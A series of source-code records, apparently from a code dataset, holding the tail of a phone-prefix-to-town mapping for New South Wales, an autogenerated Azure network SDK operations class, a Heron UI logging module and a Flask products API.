'612631599':{'en': 'Canowindra'},
'61263160':{'en': 'Milvale'},
'61263161':{'en': 'Milvale'},
'61263162':{'en': 'Milvale'},
'61263163':{'en': 'Molong'},
'61263164':{'en': 'Molong'},
'61263165':{'en': 'Molong'},
'61263166':{'en': 'Monteagle'},
'61263167':{'en': 'Monteagle'},
'61263168':{'en': 'Monteagle'},
'61263169':{'en': 'Greenethorpe'},
'612631694':{'en': 'Canowindra'},
'612631697':{'en': 'Canowindra'},
'612631698':{'en': 'Canowindra'},
'612631699':{'en': 'Canowindra'},
'61263170':{'en': 'Mudgee'},
'61263171':{'en': 'Mudgee'},
'61263172':{'en': 'Mudgee'},
'61263173':{'en': 'Murringo'},
'61263174':{'en': 'Murringo'},
'61263175':{'en': 'Murringo'},
'61263176':{'en': 'Neville'},
'61263177':{'en': 'Neville'},
'61263178':{'en': 'Neville'},
'61263179':{'en': 'Grenfell'},
'612631794':{'en': 'Canowindra'},
'612631797':{'en': 'Canowindra'},
'612631798':{'en': 'Canowindra'},
'612631799':{'en': 'Canowindra'},
'61263180':{'en': 'Oberon'},
'61263181':{'en': 'Oberon'},
'61263182':{'en': 'Oberon'},
'61263183':{'en': 'Ooma'},
'61263184':{'en': 'Ooma'},
'61263185':{'en': 'Ooma'},
'61263186':{'en': 'Orange'},
'61263187':{'en': 'Orange'},
'61263188':{'en': 'Orange'},
'61263189':{'en': 'Koorawatha'},
'612631894':{'en': 'Canowindra'},
'612631897':{'en': 'Canowindra'},
'612631898':{'en': 'Canowindra'},
'612631899':{'en': 'Canowindra'},
'61263190':{'en': 'Portland'},
'61263191':{'en': 'Portland'},
'61263192':{'en': 'Portland'},
'61263193':{'en': 'Quandialla'},
'61263194':{'en': 'Quandialla'},
'61263195':{'en': 'Quandialla'},
'61263196':{'en': 'Reids Flat'},
'61263197':{'en': 'Reids Flat'},
'61263198':{'en': 'Reids Flat'},
'61263199':{'en': 'Merriganowry'},
'612631994':{'en': 'Canowindra'},
'612631997':{'en': 'Canowindra'},
'612631998':{'en': 'Canowindra'},
'612631999':{'en': 'Canowindra'},
'61263200':{'en': 'Ooma'},
'61263201':{'en': 'Rockley'},
'61263202':{'en': 'Rockley'},
'61263203':{'en': 'Rockley'},
'61263204':{'en': 'Running Stream'},
'61263205':{'en': 'Running Stream'},
'61263206':{'en': 'Running Stream'},
'61263207':{'en': 'Twelve Mile'},
'61263208':{'en': 'Twelve Mile'},
'61263209':{'en': 'Twelve Mile'},
'61263210':{'en': 'Tyagong'},
'61263211':{'en': 'Tyagong'},
'61263212':{'en': 'Tyagong'},
'61263213':{'en': 'Windeyer'},
'61263214':{'en': 'Windeyer'},
'61263215':{'en': 'Windeyer'},
'61263216':{'en': 'Wollar'},
'61263217':{'en': 'Wollar'},
'61263218':{'en': 'Wollar'},
'61263219':{'en': 'Quandialla'},
'61263220':{'en': 'Woodstock'},
'61263221':{'en': 'Woodstock'},
'61263222':{'en': 'Woodstock'},
'61263223':{'en': 'Yetholme'},
'61263224':{'en': 'Yetholme'},
'61263225':{'en': 'Yetholme'},
'61263226':{'en': 'Young'},
'61263227':{'en': 'Young'},
'61263228':{'en': 'Young'},
'61263229':{'en': 'Reids Flat'},
'6126323':{'en': 'Bathurst'},
'61263240':{'en': 'Bathurst'},
'61263241':{'en': 'Bathurst'},
'61263242':{'en': 'Orange'},
'61263243':{'en': 'Caragabal'},
'61263244':{'en': 'Cowra'},
'61263245':{'en': 'Bathurst'},
'61263246':{'en': 'Bathurst'},
'61263247':{'en': 'Gooloogong'},
'61263248':{'en': 'Greenethorpe'},
'61263249':{'en': 'Grenfell'},
'61263250':{'en': 'Orange'},
'61263251':{'en': 'Bathurst'},
'61263252':{'en': 'Burraga'},
'61263253':{'en': 'Gingkin'},
'61263254':{'en': 'Hill End'},
'61263255':{'en': 'Killongbutta'},
'61263256':{'en': 'Limekilns'},
'61263257':{'en': 'Oberon'},
'61263258':{'en': 'Rockley'},
'61263259':{'en': 'Yetholme'},
'61263260':{'en': 'Canowindra'},
'61263261':{'en': 'Caragabal'},
'61263262':{'en': 'Cowra'},
'61263263':{'en': 'Gooloogong'},
'61263264':{'en': 'Greenethorpe'},
'61263265':{'en': 'Grenfell'},
'61263266':{'en': 'Koorawatha'},
'61263267':{'en': 'Merriganowry'},
'61263268':{'en': 'Ooma'},
'61263269':{'en': 'Quandialla'},
'61263270':{'en': 'Reids Flat'},
'61263271':{'en': 'Tyagong'},
'61263272':{'en': 'Woodstock'},
'61263273':{'en': 'Hampton'},
'61263274':{'en': 'Lithgow'},
'61263275':{'en': 'Meadow Flat'},
'61263276':{'en': 'Portland'},
'61263277':{'en': 'Birriwa'},
'61263278':{'en': 'Cassilis'},
'61263279':{'en': 'Coolah'},
'61263280':{'en': 'Killongbutta'},
'61263281':{'en': 'Killongbutta'},
'61263282':{'en': 'Oberon'},
'61263283':{'en': 'Oberon'},
'61263284':{'en': 'Yetholme'},
'61263285':{'en': 'Yetholme'},
'61263286':{'en': 'Cowra'},
'61263287':{'en': 'Cowra'},
'61263288':{'en': 'Bathurst'},
'61263289':{'en': 'Bathurst'},
'61263290':{'en': 'Limekilns'},
'61263291':{'en': 'Limekilns'},
'61263292':{'en': 'Limekilns'},
'61263293':{'en': 'Killongbutta'},
'61263294':{'en': 'Yetholme'},
'61263295':{'en': 'Yetholme'},
'61263296':{'en': 'Rockley'},
'61263297':{'en': 'Rockley'},
'61263298':{'en': 'Oberon'},
'61263299':{'en': 'Burraga'},
'612633':{'en': 'Bathurst'},
'61263350':{'en': 'Hill End'},
'61263351':{'en': 'Hill End'},
'61263352':{'en': 'Limekilns'},
'61263353':{'en': 'Limekilns'},
'61263354':{'en': 'Hill End'},
'61263355':{'en': 'Gingkin'},
'61263356':{'en': 'Gingkin'},
'61263357':{'en': 'Gingkin'},
'61263358':{'en': 'Burraga'},
'61263359':{'en': 'Gingkin'},
'6126336':{'en': 'Oberon'},
'61263370':{'en': 'Burraga'},
'61263374':{'en': 'Killongbutta'},
'61263375':{'en': 'Yetholme'},
'61263377':{'en': 'Limekilns'},
'61263378':{'en': 'Hill End'},
'61263379':{'en': 'Rockley'},
'61263380':{'en': 'Limekilns'},
'61263387':{'en': 'Gingkin'},
'61263388':{'en': 'Hill End'},
'61263389':{'en': 'Killongbutta'},
'61263390':{'en': 'Burraga'},
'61263391':{'en': 'Oberon'},
'61263392':{'en': 'Rockley'},
'61263393':{'en': 'Yetholme'},
'61263396':{'en': 'Oberon'},
'61263400':{'en': 'Cowra'},
'61263401':{'en': 'Cowra'},
'61263402':{'en': 'Cowra'},
'61263403':{'en': 'Canowindra'},
'61263404':{'en': 'Gooloogong'},
'61263405':{'en': 'Koorawatha'},
'61263406':{'en': 'Merriganowry'},
'61263407':{'en': 'Reids Flat'},
'61263408':{'en': 'Woodstock'},
'61263409':{'en': 'Cowra'},
'6126341':{'en': 'Cowra'},
'6126342':{'en': 'Cowra'},
'6126343':{'en': 'Grenfell'},
'61263436':{'en': 'Greenethorpe'},
'61263438':{'en': 'Tyagong'},
'6126344':{'en': 'Canowindra'},
'61263448':{'en': 'Gooloogong'},
'61263450':{'en': 'Woodstock'},
'61263451':{'en': 'Woodstock'},
'61263452':{'en': 'Reids Flat'},
'61263453':{'en': 'Koorawatha'},
'61263454':{'en': 'Koorawatha'},
'61263455':{'en': 'Merriganowry'},
'61263456':{'en': 'Merriganowry'},
'61263457':{'en': 'Merriganowry'},
'61263458':{'en': 'Merriganowry'},
'61263459':{'en': 'Merriganowry'},
'61263460':{'en': 'Hampton'},
'61263461':{'en': 'Hampton'},
'61263462':{'en': 'Lithgow'},
'61263463':{'en': 'Lithgow'},
'61263464':{'en': 'Birriwa'},
'61263465':{'en': 'Birriwa'},
'61263466':{'en': 'Mudgee'},
'61263467':{'en': 'Mudgee'},
'61263468':{'en': 'Cudal'},
'61263469':{'en': 'Cudal'},
'61263470':{'en': 'Grenfell'},
'61263471':{'en': 'Quandialla'},
'61263472':{'en': 'Quandialla'},
'61263473':{'en': 'Quandialla'},
'61263474':{'en': 'Quandialla'},
'61263475':{'en': 'Caragabal'},
'61263476':{'en': 'Caragabal'},
'61263477':{'en': 'Caragabal'},
'61263478':{'en': 'Ooma'},
'61263479':{'en': 'Ooma'},
'61263480':{'en': 'Dunedoo'},
'61263481':{'en': 'Gulgong'},
'61263482':{'en': 'Laheys Creek'},
'61263483':{'en': 'Leadville'},
'61263484':{'en': 'Lue'},
'61263485':{'en': 'Mudgee'},
'61263486':{'en': 'Twelve Mile'},
'61263487':{'en': 'Windeyer'},
'61263488':{'en': 'Wollar'},
'61263489':{'en': 'Baldry'},
'61263490':{'en': 'Cowra'},
'61263491':{'en': 'Grenfell'},
'61263492':{'en': 'Grenfell'},
'61263493':{'en': 'Caragabal'},
'61263494':{'en': 'Greenethorpe'},
'61263495':{'en': 'Ooma'},
'61263496':{'en': 'Quandialla'},
'61263497':{'en': 'Tyagong'},
'61263498':{'en': 'Cowra'},
'61263499':{'en': 'Cowra'},
'612635':{'en': 'Lithgow'},
'61263504':{'en': 'Hampton'},
'61263505':{'en': 'Meadow Flat'},
'61263506':{'en': 'Portland'},
'61263554':{'en': 'Portland'},
'61263555':{'en': 'Portland'},
'6126357':{'en': 'Kandos'},
'61263571':{'en': 'Running Stream'},
'61263572':{'en': 'Bylong'},
'61263574':{'en': 'Glen Davis'},
'6126358':{'en': 'Bathurst'},
'61263586':{'en': 'Running Stream'},
'61263587':{'en': 'Running Stream'},
}
| 33.015165 | 109 | 0.570008 |
795c2af8db43716e31cde664e40ecb5695986470 | 23,854 | py | Python | sdk/network/azure-mgmt-network/azure/mgmt/network/v2018_11_01/operations/_interface_endpoints_operations.py | beltr0n/azure-sdk-for-python | 2f7fb8bee881b0fc0386a0ad5385755ceedd0453 | [
"MIT"
] | 2 | 2021-03-24T06:26:11.000Z | 2021-04-18T15:55:59.000Z | sdk/network/azure-mgmt-network/azure/mgmt/network/v2018_11_01/operations/_interface_endpoints_operations.py | beltr0n/azure-sdk-for-python | 2f7fb8bee881b0fc0386a0ad5385755ceedd0453 | [
"MIT"
] | 4 | 2019-04-17T17:57:49.000Z | 2020-04-24T21:11:22.000Z | sdk/network/azure-mgmt-network/azure/mgmt/network/v2018_11_01/operations/_interface_endpoints_operations.py | beltr0n/azure-sdk-for-python | 2f7fb8bee881b0fc0386a0ad5385755ceedd0453 | [
"MIT"
] | 2 | 2021-05-23T16:46:31.000Z | 2021-05-26T23:51:09.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
from typing import TYPE_CHECKING
import warnings
from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error
from azure.core.paging import ItemPaged
from azure.core.pipeline import PipelineResponse
from azure.core.pipeline.transport import HttpRequest, HttpResponse
from azure.core.polling import LROPoller, NoPolling, PollingMethod
from azure.mgmt.core.exceptions import ARMErrorFormat
from azure.mgmt.core.polling.arm_polling import ARMPolling
from .. import models as _models
if TYPE_CHECKING:
# pylint: disable=unused-import,ungrouped-imports
from typing import Any, Callable, Dict, Generic, Iterable, Optional, TypeVar, Union
T = TypeVar('T')
ClsType = Optional[Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any]]
class InterfaceEndpointsOperations(object):
"""InterfaceEndpointsOperations operations.
You should not instantiate this class directly. Instead, you should create a Client instance that
instantiates it for you and attaches it as an attribute.
:ivar models: Alias to model classes used in this operation group.
:type models: ~azure.mgmt.network.v2018_11_01.models
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
"""
models = _models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self._config = config
def _delete_initial(
self,
resource_group_name, # type: str
interface_endpoint_name, # type: str
**kwargs # type: Any
):
# type: (...) -> None
cls = kwargs.pop('cls', None) # type: ClsType[None]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2018-11-01"
# Construct URL
url = self._delete_initial.metadata['url'] # type: ignore
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'interfaceEndpointName': self._serialize.url("interface_endpoint_name", interface_endpoint_name, 'str'),
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
request = self._client.delete(url, query_parameters, header_parameters)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 202, 204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if cls:
return cls(pipeline_response, None, {})
_delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/interfaceEndpoints/{interfaceEndpointName}'} # type: ignore
def begin_delete(
self,
resource_group_name, # type: str
interface_endpoint_name, # type: str
**kwargs # type: Any
):
# type: (...) -> LROPoller[None]
"""Deletes the specified interface endpoint.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param interface_endpoint_name: The name of the interface endpoint.
:type interface_endpoint_name: str
:keyword callable cls: A custom type or function that will be passed the direct response
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:keyword polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:paramtype polling: bool or ~azure.core.polling.PollingMethod
:keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.
:return: An instance of LROPoller that returns either None or the result of cls(response)
:rtype: ~azure.core.polling.LROPoller[None]
:raises ~azure.core.exceptions.HttpResponseError:
"""
polling = kwargs.pop('polling', True) # type: Union[bool, PollingMethod]
cls = kwargs.pop('cls', None) # type: ClsType[None]
lro_delay = kwargs.pop(
'polling_interval',
self._config.polling_interval
)
cont_token = kwargs.pop('continuation_token', None) # type: Optional[str]
if cont_token is None:
raw_result = self._delete_initial(
resource_group_name=resource_group_name,
interface_endpoint_name=interface_endpoint_name,
cls=lambda x,y,z: x,
**kwargs
)
kwargs.pop('error_map', None)
kwargs.pop('content_type', None)
def get_long_running_output(pipeline_response):
if cls:
return cls(pipeline_response, None, {})
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'interfaceEndpointName': self._serialize.url("interface_endpoint_name", interface_endpoint_name, 'str'),
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
if polling is True: polling_method = ARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
if cont_token:
return LROPoller.from_continuation_token(
polling_method=polling_method,
continuation_token=cont_token,
client=self._client,
deserialization_callback=get_long_running_output
)
else:
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/interfaceEndpoints/{interfaceEndpointName}'} # type: ignore
def get(
self,
resource_group_name, # type: str
interface_endpoint_name, # type: str
expand=None, # type: Optional[str]
**kwargs # type: Any
):
# type: (...) -> "_models.InterfaceEndpoint"
"""Gets the specified interface endpoint by resource group.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param interface_endpoint_name: The name of the interface endpoint.
:type interface_endpoint_name: str
:param expand: Expands referenced resources.
:type expand: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: InterfaceEndpoint, or the result of cls(response)
:rtype: ~azure.mgmt.network.v2018_11_01.models.InterfaceEndpoint
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.InterfaceEndpoint"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2018-11-01"
accept = "application/json"
# Construct URL
url = self.get.metadata['url'] # type: ignore
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'interfaceEndpointName': self._serialize.url("interface_endpoint_name", interface_endpoint_name, 'str'),
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
if expand is not None:
query_parameters['$expand'] = self._serialize.query("expand", expand, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
request = self._client.get(url, query_parameters, header_parameters)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
deserialized = self._deserialize('InterfaceEndpoint', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/interfaceEndpoints/{interfaceEndpointName}'} # type: ignore
def _create_or_update_initial(
self,
resource_group_name, # type: str
interface_endpoint_name, # type: str
parameters, # type: "_models.InterfaceEndpoint"
**kwargs # type: Any
):
# type: (...) -> "_models.InterfaceEndpoint"
cls = kwargs.pop('cls', None) # type: ClsType["_models.InterfaceEndpoint"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2018-11-01"
content_type = kwargs.pop("content_type", "application/json")
accept = "application/json"
# Construct URL
url = self._create_or_update_initial.metadata['url'] # type: ignore
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'interfaceEndpointName': self._serialize.url("interface_endpoint_name", interface_endpoint_name, 'str'),
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str')
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
body_content_kwargs = {} # type: Dict[str, Any]
body_content = self._serialize.body(parameters, 'InterfaceEndpoint')
body_content_kwargs['content'] = body_content
request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 201]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if response.status_code == 200:
deserialized = self._deserialize('InterfaceEndpoint', pipeline_response)
if response.status_code == 201:
deserialized = self._deserialize('InterfaceEndpoint', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
_create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/interfaceEndpoints/{interfaceEndpointName}'} # type: ignore
def begin_create_or_update(
self,
resource_group_name, # type: str
interface_endpoint_name, # type: str
parameters, # type: "_models.InterfaceEndpoint"
**kwargs # type: Any
):
# type: (...) -> LROPoller["_models.InterfaceEndpoint"]
"""Creates or updates an interface endpoint in the specified resource group.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param interface_endpoint_name: The name of the interface endpoint.
:type interface_endpoint_name: str
:param parameters: Parameters supplied to the create or update interface endpoint operation.
:type parameters: ~azure.mgmt.network.v2018_11_01.models.InterfaceEndpoint
:keyword callable cls: A custom type or function that will be passed the direct response
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:keyword polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:paramtype polling: bool or ~azure.core.polling.PollingMethod
:keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.
:return: An instance of LROPoller that returns either InterfaceEndpoint or the result of cls(response)
:rtype: ~azure.core.polling.LROPoller[~azure.mgmt.network.v2018_11_01.models.InterfaceEndpoint]
:raises ~azure.core.exceptions.HttpResponseError:
"""
polling = kwargs.pop('polling', True) # type: Union[bool, PollingMethod]
cls = kwargs.pop('cls', None) # type: ClsType["_models.InterfaceEndpoint"]
lro_delay = kwargs.pop(
'polling_interval',
self._config.polling_interval
)
cont_token = kwargs.pop('continuation_token', None) # type: Optional[str]
if cont_token is None:
raw_result = self._create_or_update_initial(
resource_group_name=resource_group_name,
interface_endpoint_name=interface_endpoint_name,
parameters=parameters,
cls=lambda x,y,z: x,
**kwargs
)
kwargs.pop('error_map', None)
kwargs.pop('content_type', None)
def get_long_running_output(pipeline_response):
deserialized = self._deserialize('InterfaceEndpoint', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'interfaceEndpointName': self._serialize.url("interface_endpoint_name", interface_endpoint_name, 'str'),
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
if polling is True: polling_method = ARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
if cont_token:
return LROPoller.from_continuation_token(
polling_method=polling_method,
continuation_token=cont_token,
client=self._client,
deserialization_callback=get_long_running_output
)
else:
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/interfaceEndpoints/{interfaceEndpointName}'} # type: ignore
def list(
self,
resource_group_name, # type: str
**kwargs # type: Any
):
# type: (...) -> Iterable["_models.InterfaceEndpointListResult"]
"""Gets all interface endpoints in a resource group.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: An iterator like instance of either InterfaceEndpointListResult or the result of cls(response)
:rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2018_11_01.models.InterfaceEndpointListResult]
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.InterfaceEndpointListResult"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2018-11-01"
accept = "application/json"
def prepare_request(next_link=None):
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
if not next_link:
# Construct URL
url = self.list.metadata['url'] # type: ignore
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
request = self._client.get(url, query_parameters, header_parameters)
else:
url = next_link
query_parameters = {} # type: Dict[str, Any]
request = self._client.get(url, query_parameters, header_parameters)
return request
def extract_data(pipeline_response):
deserialized = self._deserialize('InterfaceEndpointListResult', pipeline_response)
list_of_elem = deserialized.value
if cls:
list_of_elem = cls(list_of_elem)
return deserialized.next_link or None, iter(list_of_elem)
def get_next(next_link=None):
request = prepare_request(next_link)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
return pipeline_response
return ItemPaged(
get_next, extract_data
)
list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/interfaceEndpoints'} # type: ignore
def list_by_subscription(
self,
**kwargs # type: Any
):
# type: (...) -> Iterable["_models.InterfaceEndpointListResult"]
"""Gets all interface endpoints in a subscription.
:keyword callable cls: A custom type or function that will be passed the direct response
:return: An iterator like instance of either InterfaceEndpointListResult or the result of cls(response)
:rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2018_11_01.models.InterfaceEndpointListResult]
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.InterfaceEndpointListResult"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2018-11-01"
accept = "application/json"
def prepare_request(next_link=None):
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
if not next_link:
# Construct URL
url = self.list_by_subscription.metadata['url'] # type: ignore
path_format_arguments = {
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
request = self._client.get(url, query_parameters, header_parameters)
else:
url = next_link
query_parameters = {} # type: Dict[str, Any]
request = self._client.get(url, query_parameters, header_parameters)
return request
def extract_data(pipeline_response):
deserialized = self._deserialize('InterfaceEndpointListResult', pipeline_response)
list_of_elem = deserialized.value
if cls:
list_of_elem = cls(list_of_elem)
return deserialized.next_link or None, iter(list_of_elem)
def get_next(next_link=None):
request = prepare_request(next_link)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
return pipeline_response
return ItemPaged(
get_next, extract_data
)
list_by_subscription.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Network/interfaceEndpoints'} # type: ignore
| 48.781186 | 205 | 0.663746 |
795c2b07b7eb434ff046ba77d00dd8fdfc6fc792 | 1,168 | py | Python | heron/ui/src/python/log.py | dabaitu/heron | a7fdde5ca4484e4d6c4a73ec36ce43fc9dd1c4c8 | [
"Apache-2.0"
] | null | null | null | heron/ui/src/python/log.py | dabaitu/heron | a7fdde5ca4484e4d6c4a73ec36ce43fc9dd1c4c8 | [
"Apache-2.0"
] | null | null | null | heron/ui/src/python/log.py | dabaitu/heron | a7fdde5ca4484e4d6c4a73ec36ce43fc9dd1c4c8 | [
"Apache-2.0"
] | 1 | 2019-10-02T15:23:46.000Z | 2019-10-02T15:23:46.000Z | # Copyright 2016 Twitter. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
''' log.py '''
import logging
import logging.handlers
# Create the logger
# pylint: disable=invalid-name
Log = logging.getLogger('heron-ui')
def configure(level, logfile=None):
'''
:param level:
:param logfile:
:return:
'''
log_format = "%(asctime)s-%(levelname)s:%(filename)s:%(lineno)s: %(message)s"
date_format = '%d %b %Y %H:%M:%S'
logging.basicConfig(format=log_format, datefmt=date_format, level=level)
if logfile != None:
handle = logging.FileHandler(logfile)
handle.setFormatter(logging.Formatter(log_format))
Log.addHandler(handle)
| 30.736842 | 79 | 0.728596 |
795c2b484c07b74c9589f3a265c36139b68d7a27 | 1,526 | py | Python | app/api/products.py | gauravssnl/airbus-inventory | 3416872f35d1b41016b5a5a304a02fa088592923 | [
"MIT"
] | null | null | null | app/api/products.py | gauravssnl/airbus-inventory | 3416872f35d1b41016b5a5a304a02fa088592923 | [
"MIT"
] | null | null | null | app/api/products.py | gauravssnl/airbus-inventory | 3416872f35d1b41016b5a5a304a02fa088592923 | [
"MIT"
] | null | null | null | from flask import jsonify, request, current_app, url_for
from flask_jwt_extended import jwt_required
from app.api import utils
from app.exceptions import ValidationError
from . import api
from ..models import ProductCategory, Product
from .. import db
@api.route('/products')
@jwt_required()
def get_products():
products = utils.get_all_table_data(Product)
return jsonify([product.to_json() for product in products])
@api.route('/products/<int:id>')
@jwt_required()
def get_product(id):
product = Product.query.get_or_404(id)
return jsonify(product.to_json())
@api.route('/products', methods=['POST'])
@jwt_required()
def add_product():
product = Product.from_json(request.json)
db.session.add(product)
db.session.commit()
return jsonify(product.to_json()), 201
@api.route('/products', methods=['PUT'])
@jwt_required()
def update_product():
id = request.json.get('id')
product = utils.get_table_data_by_id(Product, id)
updated_product = Product.from_json(request.json)
product.update_data(updated_product)
db.session.add(product)
db.session.commit()
response = jsonify(product.to_json())
response.status_code = 200
return response
@api.route('/products/<int:id>', methods=["DELETE"])
@jwt_required()
def delete_product(id):
product = Product.query.get_or_404(id)
db.session.delete(product)
db.session.commit()
response = jsonify({'error': None, 'message': "Deleted successfully"})
response.status_code = 200
return response
| 27.25 | 74 | 0.722149 |
